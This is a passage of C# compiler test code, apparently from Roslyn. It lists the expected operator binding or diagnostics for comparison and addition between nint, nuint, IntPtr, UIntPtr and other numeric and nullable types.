binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*");
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*");
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in additionOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nint", "void*", $"void* void*.{name}(long left, void* right)", $"void* void*.{name}(void* left, long right)", new[] { Diagnostic(ErrorCode.ERR_VoidError, "x + y") });
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nuint", "void*", $"void* void*.{name}(ulong left, void* right)", $"void* void*.{name}(void* left, ulong right)", new[] { Diagnostic(ErrorCode.ERR_VoidError, "x + y") });
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "sbyte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "byte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "short", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "ushort", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "int", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "sbyte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "byte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "short?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "ushort?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "int?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "sbyte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "byte", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "short", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "ushort", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "int", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "sbyte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "byte?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "short?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "ushort?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "int?", $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)", null);
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "sbyte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "byte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "short", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "ushort", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "int", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "sbyte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "byte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "short?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "ushort?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "int?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "sbyte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "byte", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "short", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "ushort", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "int", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
